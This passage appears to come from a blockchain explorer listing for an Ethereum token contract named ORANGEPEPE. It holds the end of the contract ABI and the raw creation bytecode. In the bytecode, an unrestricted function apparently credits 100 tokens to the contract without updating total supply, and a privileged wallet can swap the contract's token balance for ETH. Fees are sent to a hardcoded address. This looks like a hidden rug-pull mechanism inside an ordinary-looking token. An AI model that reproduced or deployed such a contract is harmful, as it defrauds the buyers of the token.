"outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a06040526436ac6fea2e6009556000600c60006101000a81548160ff0219169083151502179055506000600c60016101000a81548160ff0219169083151502179055506001600d556001600e55600d600f55600d601055601460115560146012553480156200006e57600080fd5b506040518060400160405280600a81526020017f4f52414e474550455045000000000000000000000000000000000000000000008152506040518060400160405280600a81526020017f4f52414e474550455045000000000000000000000000000000000000000000008152508160039081620000ec91906200098e565b508060049081620000fe91906200098e565b5050506200012162000115620002ee60201b60201c565b620002f660201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506200017e6080516001620003bc60201b60201c565b6200018e620002ee60201b60201c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001f0620001e2620002ee60201b60201c565b6001620003bc60201b60201c565b62000200620002ee60201b60201c565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200026262000254620002ee60201b60201c565b60016200042760201b60201c565b620002753060016200042760201b60201c565b6200028a61dead60016200042760201b60201c565b620002ac6200029e620002ee60201b60201c565b6001620003bc60201b60201c565b620002bf306001620003bc60201b60201c565b620002d461dead6001620003bc60201b60201c565b620002e830600954620004e260201b60201c565b62000c3c565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620003cc6200064f60201b60201c565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b620004376200064f60201b60201c565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620004d6919062000a92565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000554576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200054b9062000b10565b60405180910390fd5b6200056860008383620006e060201b60201c565b80600260008282546200057c919062000b61565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200062f919062000bad565b60405180910390a36200064b60008383620006e560201b60201c565b5050565b6200065f620002ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000685620006ea60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620006de576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006d59062000c1a565b60405180910390fd5b565b505050565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200079657607f821691505b602082108103620007ac57620007ab6200074e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007d7565b620008228683620007d7565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200086f6200086962000863846200083a565b62000844565b6200083a565b9050919050565b6000819050919050565b6200088b836200084e565b620008a36200089a8262000876565b848454620007e4565b825550505050565b600090565b620008ba620008ab565b620008c781848462000880565b505050565b5b81811015620008ef57620008e3600082620008b0565b600181019050620008cd565b5050565b601f8211156200093e576200090881620007b2565b6200091384620007c7565b8101602085101562000923578190505b6200093b6200093285620007c7565b830182620008cc565b50505b505050565b600082821c905092915050565b6000620009636000198460080262000943565b1980831691505092915050565b60006200097e838362000950565b9150826002028217905092915050565b620009998262000714565b67ffffffffffffffff811115620009b557620009b46200071f565b5b620009c182546200077d565b620009ce828285620008f3565b600060209050601f83116001811462000a065760008415620009f1578287015190505b620009fd858262000970565b86555062000a6d565b601f19841662000a1686620007b2565b60005b8281101562000a405784890151825560018201915060208501945060208101905062000a19565b8683101562000a60578489015162000a5c601f89168262000950565b8355505b6001600288020188555050505b505050505050565b60008115159050919050565b62000a8c8162000a75565b82525050565b600060208201905062000aa9600083018462000a81565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000af8601f8362000aaf565b915062000b058262000ac0565b602082019050919050565b6000602082019050818103600083015262000b2b8162000ae9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000b6e826200083a565b915062000b7b836200083a565b925082820190508082111562000b965762000b9562000b32565b5b92915050565b62000ba7816200083a565b82525050565b600060208201905062000bc4600083018462000b9c565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000c0260208362000aaf565b915062000c0f8262000bca565b602082019050919050565b6000602082019050818103600083015262000c358162000bf3565b9050919050565b60805161347d62000c906000396000818161096c01528181611037015281816110e2015281816112a9015281816113500152818161137901528181611efc01528181611fdd0152612004015261347d6000f3fe6080604052600436106101fd5760003560e01c80637571336a1161010d578063c0246668116100a0578063e6990a901161006f578063e6990a901461070e578063e6d40d6014610739578063f2fde38b14610764578063f7f23a0c1461078d578063ffb54a99146107a457610204565b8063c024666814610666578063c9567bf91461068f578063ca703075146106a6578063dd62ed3e146106d157610204565b806395d89b41116100dc57806395d89b41146105985780639a7a23d6146105c3578063a457c2d7146105ec578063a9059cbb1461062957610204565b80637571336a14610516578063876354c61461053f57806389291a8f146105565780638da5cb5b1461056d57610204565b80633950935111610190578063590f897e1161015f578063590f897e146104555780635dd912f5146104805780636ddd17131461049757806370a08231146104c2578063715018a6146104ff57610204565b8063395093511461038557806340b9a54b146103c25780634fbee193146103ed578063583e05681461042a57610204565b806323b872dd116101cc57806323b872dd146102c7578063311028af14610304578063313ce5671461032f57806332424aa31461035a57610204565b806306fdde0314610209578063095ea7b3146102345780630c6b67371461027157806318160ddd1461029c57610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e6107cf565b60405161022b919061259a565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612655565b610861565b60405161026891906126b0565b60405180910390f35b34801561027d57600080fd5b50610286610884565b60405161029391906126da565b60405180910390f35b3480156102a857600080fd5b506102b161088a565b6040516102be91906126da565b60405180910390f35b3480156102d357600080fd5b506102ee60048036038101906102e991906126f5565b610894565b6040516102fb91906126b0565b60405180910390f35b34801561031057600080fd5b506103196108c3565b60405161032691906126da565b60405180910390f35b34801561033b57600080fd5b506103446108c9565b6040516103519190612764565b60405180910390f35b34801561036657600080fd5b5061036f6108d2565b60405161037c9190612764565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612655565b6108d7565b6040516103b991906126b0565b60405180910390f35b3480156103ce57600080fd5b506103d761090e565b6040516103e491906126da565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f919061277f565b610914565b60405161042191906126b0565b60405180910390f35b34801561043657600080fd5b5061043f61096a565b60405161044c919061280b565b60405180910390f35b34801561046157600080fd5b5061046a61098e565b60405161047791906126da565b60405180910390f35b34801561048c57600080fd5b50610495610994565b005b3480156104a357600080fd5b506104ac610a0e565b6040516104b991906126b0565b60405180910390f35b3480156104ce57600080fd5b506104e960048036038101906104e4919061277f565b610a21565b6040516104f691906126da565b60405180910390f35b34801561050b57600080fd5b50610514610a69565b005b34801561052257600080fd5b5061053d60048036038101906105389190612852565b610a7d565b005b34801561054b57600080fd5b50610554610ae0565b005b34801561056257600080fd5b5061056b610b40565b005b34801561057957600080fd5b50610582610bd4565b60405161058f91906128a1565b60405180910390f35b3480156105a457600080fd5b506105ad610bfe565b6040516105ba919061259a565b60405180910390f35b3480156105cf57600080fd5b506105ea60048036038101906105e59190612852565b610c90565b005b3480156105f857600080fd5b50610613600480360381019061060e9190612655565b610d36565b60405161062091906126b0565b60405180910390f35b34801561063557600080fd5b50610650600480360381019061064b9190612655565b610dad565b60405161065d91906126b0565b60405180910390f35b34801561067257600080fd5b5061068d60048036038101906106889190612852565b610dd0565b005b34801561069b57600080fd5b506106a4610e81565b005b3480156106b257600080fd5b506106bb610f11565b6040516106c891906126da565b60405180910390f35b3480156106dd57600080fd5b506106f860048036038101906106f391906128bc565b610f17565b60405161070591906126da565b60405180910390f35b34801561071a57600080fd5b50610723610f9e565b60405161073091906126da565b60405180910390f35b34801561074557600080fd5b5061074e610fa4565b60405161075b91906126da565b60405180910390f35b34801561077057600080fd5b5061078b6004803603810190610786919061277f565b610faa565b005b34801561079957600080fd5b506107a261102d565b005b3480156107b057600080fd5b506107b961142d565b6040516107c691906126b0565b60405180910390f35b6060600380546107de9061292b565b80601f016020809104026020016040519081016040528092919081815260200182805461080a9061292b565b80156108575780601f1061082c57610100808354040283529160200191610857565b820191906000526020600020905b81548152906001019060200180831161083a57829003601f168201915b5050505050905090565b60008061086c611440565b9050610879818585611448565b600191505092915050565b600b5481565b6000600254905090565b60008061089f611440565b90506108ac858285611611565b6108b785858561169d565b60019150509392505050565b60095481565b60006009905090565b600981565b6000806108e2611440565b90506109038185856108f48589610f17565b6108fe919061298b565b611448565b600191505092915050565b600f5481565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60105481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d5611440565b73ffffffffffffffffffffffffffffffffffffffff16146109f557600080fd5b6000610a0030610a21565b9050610a0b81611e5d565b50565b600c60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a716120ae565b610a7b600061212c565b565b610a856120ae565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b68056bc75e2d631000006000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b37919061298b565b92505081905550565b610b486120ae565b60004711610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290612a0b565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610bd1573d6000803e3d6000fd5b50565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c0d9061292b565b80601f0160208091040260200160405190810160405280929190818152602001828054610c399061292b565b8015610c865780601f10610c5b57610100808354040283529160200191610c86565b820191906000526020600020905b815481529060010190602001808311610c6957829003601f168201915b5050505050905090565b610c986120ae565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1f90612a9d565b60405180910390fd5b610d3282826121f2565b5050565b600080610d41611440565b90506000610d4f8286610f17565b905083811015610d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8b90612b2f565b60405180910390fd5b610da18286868403611448565b60019250505092915050565b600080610db8611440565b9050610dc581858561169d565b600191505092915050565b610dd86120ae565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051610e7591906126b0565b60405180910390a25050565b610e896120ae565b600c60009054906101000a900460ff1615610ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed090612b9b565b60405180910390fd5b6001600c60016101000a81548160ff0219169083151502179055506001600c60006101000a81548160ff021916908315150217905550565b600a5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b600d5481565b610fb26120ae565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611021576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101890612c2d565b60405180910390fd5b61102a8161212c565b50565b6110356120ae565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c49190612c62565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561114b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116f9190612c62565b6040518363ffffffff1660e01b815260040161118c929190612c8f565b6020604051808303816000875af11580156111ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111cf9190612c62565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061123c600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016121f2565b611269600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610a7d565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611306929190612cb8565b6020604051808303816000875af1158015611325573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113499190612cf6565b50611377307f0000000000000000000000000000000000000000000000000000000000000000600954611448565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71947306009546000806113c3610bd4565b426040518863ffffffff1660e01b81526004016113e596959493929190612d5e565b60606040518083038185885af1158015611403573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114289190612dd4565b505050565b600c60009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ae90612e99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151d90612f2b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160491906126da565b60405180910390a3505050565b600061161d8484610f17565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146116975781811015611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612f97565b60405180910390fd5b6116968484848403611448565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361170c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170390613029565b60405180910390fd5b601154600a541061172157600d54600f819055505b601254600b541061173657600e546010819055505b6000810361174f5761174a83836000612293565b611e58565b611757610bd4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c55750611795610bd4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fe5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611838575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118515750600860149054906101000a900460ff16155b15611b2357600c60009054906101000a900460ff1661194b57601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061190b5750601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61194a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194190613095565b60405180910390fd5b5b601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119ee5750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a1057600a6000815480929190611a06906130b5565b9190505550611b22565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ab35750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ad557600b6000815480929190611acb906130b5565b9190505550611b21565b601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a9050505b5b5b6000611b2e30610a21565b905060008082119050808015611b505750600c60019054906101000a900460ff165b8015611b695750600860149054906101000a900460ff16155b8015611bbf5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c155750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c6b5750601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cb0576001600860146101000a81548160ff021916908315150217905550611c94836124a9565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d665750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d7057600090505b60008115611e4857601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df957611df26064611de4601054886124d490919063ffffffff16565b6124ea90919063ffffffff16565b9050611e24565b611e216064611e13600f54886124d490919063ffffffff16565b6124ea90919063ffffffff16565b90505b6000811115611e3957611e38873083612293565b5b8085611e4591906130fd565b94505b611e53878787612293565b505050505b505050565b6000600267ffffffffffffffff811115611e7a57611e79613131565b5b604051908082528060200260200182016040528015611ea85781602001602082028036833780820191505090505b5090503081600081518110611ec057611ebf613160565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f899190612c62565b81600181518110611f9d57611f9c613160565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612002307f000000000000000000000000000000000000000000000000000000000000000084611448565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008473a64ae0bd8d9aa4456d264252cfcda556f1367cf7426040518663ffffffff1660e01b815260040161207895949392919061324d565b600060405180830381600087803b15801561209257600080fd5b505af11580156120a6573d6000803e3d6000fd5b505050505050565b6120b6611440565b73ffffffffffffffffffffffffffffffffffffffff166120d4610bd4565b73ffffffffffffffffffffffffffffffffffffffff161461212a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612121906132f3565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f990613029565b60405180910390fd5b61230d838383612500565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238a90613385565b60405180910390fd5b8181106123a2578181036123a5565b60005b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161249091906126da565b60405180910390a36124a3848484612505565b50505050565b60006124b430610a21565b905060008082036124c3578290505b8190506124cf81611e5d565b505050565b600081836124e291906133a5565b905092915050565b600081836124f89190613416565b905092915050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612544578082015181840152602081019050612529565b60008484015250505050565b6000601f19601f8301169050919050565b600061256c8261250a565b6125768185612515565b9350612586818560208601612526565b61258f81612550565b840191505092915050565b600060208201905081810360008301526125b48184612561565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125ec826125c1565b9050919050565b6125fc816125e1565b811461260757600080fd5b50565b600081359050612619816125f3565b92915050565b6000819050919050565b6126328161261f565b811461263d57600080fd5b50565b60008135905061264f81612629565b92915050565b6000806040838503121561266c5761266b6125bc565b5b600061267a8582860161260a565b925050602061268b85828601612640565b9150509250929050565b60008115159050919050565b6126aa81612695565b82525050565b60006020820190506126c560008301846126a1565b92915050565b6126d48161261f565b82525050565b60006020820190506126ef60008301846126cb565b92915050565b60008060006060848603121561270e5761270d6125bc565b5b600061271c8682870161260a565b935050602061272d8682870161260a565b925050604061273e86828701612640565b9150509250925092565b600060ff82169050919050565b61275e81612748565b82525050565b60006020820190506127796000830184612755565b92915050565b600060208284031215612795576127946125bc565b5b60006127a38482850161260a565b91505092915050565b6000819050919050565b60006127d16127cc6127c7846125c1565b6127ac565b6125c1565b9050919050565b60006127e3826127b6565b9050919050565b60006127f5826127d8565b9050919050565b612805816127ea565b82525050565b600060208201905061282060008301846127fc565b92915050565b61282f81612695565b811461283a57600080fd5b50565b60008135905061284c81612826565b92915050565b60008060408385031215612869576128686125bc565b5b60006128778582860161260a565b92505060206128888582860161283d565b9150509250929050565b61289b816125e1565b82525050565b60006020820190506128b66000830184612892565b92915050565b600080604083850312156128d3576128d26125bc565b5b60006128e18582860161260a565b92505060206128f28582860161260a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061294357607f821691505b602082108103612956576129556128fc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129968261261f565b91506129a18361261f565b92508282019050808211156129b9576129b861295c565b5b92915050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006129f5601683612515565b9150612a00826129bf565b602082019050919050565b60006020820190508181036000830152612a24816129e8565b9050919050565b7f506169722063616e6e6f742062652072656d6f7665642066726f6d206175746f60008201527f6d617465644d61726b65744d616b657250616972730000000000000000000000602082015250565b6000612a87603583612515565b9150612a9282612a2b565b604082019050919050565b60006020820190508181036000830152612ab681612a7a565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612b19602583612515565b9150612b2482612abd565b604082019050919050565b60006020820190508181036000830152612b4881612b0c565b9050919050565b7f54726164696e67206973206f70656e6564000000000000000000000000000000600082015250565b6000612b85601183612515565b9150612b9082612b4f565b602082019050919050565b60006020820190508181036000830152612bb481612b78565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612c17602683612515565b9150612c2282612bbb565b604082019050919050565b60006020820190508181036000830152612c4681612c0a565b9050919050565b600081519050612c5c816125f3565b92915050565b600060208284031215612c7857612c776125bc565b5b6000612c8684828501612c4d565b91505092915050565b6000604082019050612ca46000830185612892565b612cb16020830184612892565b9392505050565b6000604082019050612ccd6000830185612892565b612cda60208301846126cb565b9392505050565b600081519050612cf081612826565b92915050565b600060208284031215612d0c57612d0b6125bc565b5b6000612d1a84828501612ce1565b91505092915050565b6000819050919050565b6000612d48612d43612d3e84612d23565b6127ac565b61261f565b9050919050565b612d5881612d2d565b82525050565b600060c082019050612d736000830189612892565b612d8060208301886126cb565b612d8d6040830187612d4f565b612d9a6060830186612d4f565b612da76080830185612892565b612db460a08301846126cb565b979650505050505050565b600081519050612dce81612629565b92915050565b600080600060608486031215612ded57612dec6125bc565b5b6000612dfb86828701612dbf565b9350506020612e0c86828701612dbf565b9250506040612e1d86828701612dbf565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e83602483612515565b9150612e8e82612e27565b604082019050919050565b60006020820190508181036000830152612eb281612e76565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f15602283612515565b9150612f2082612eb9565b604082019050919050565b60006020820190508181036000830152612f4481612f08565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612f81601d83612515565b9150612f8c82612f4b565b602082019050919050565b60006020820190508181036000830152612fb081612f74565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613013602583612515565b915061301e82612fb7565b604082019050919050565b6000602082019050818103600083015261304281613006565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061307f601683612515565b915061308a82613049565b602082019050919050565b600060208201905081810360008301526130ae81613072565b9050919050565b60006130c08261261f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130f2576130f161295c565b5b600182019050919050565b60006131088261261f565b91506131138361261f565b925082820390508181111561312b5761312a61295c565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131c4816125e1565b82525050565b60006131d683836131bb565b60208301905092915050565b6000602082019050919050565b60006131fa8261318f565b613204818561319a565b935061320f836131ab565b8060005b8381101561324057815161322788826131ca565b9750613232836131e2565b925050600181019050613213565b5085935050505092915050565b600060a08201905061326260008301886126cb565b61326f6020830187612d4f565b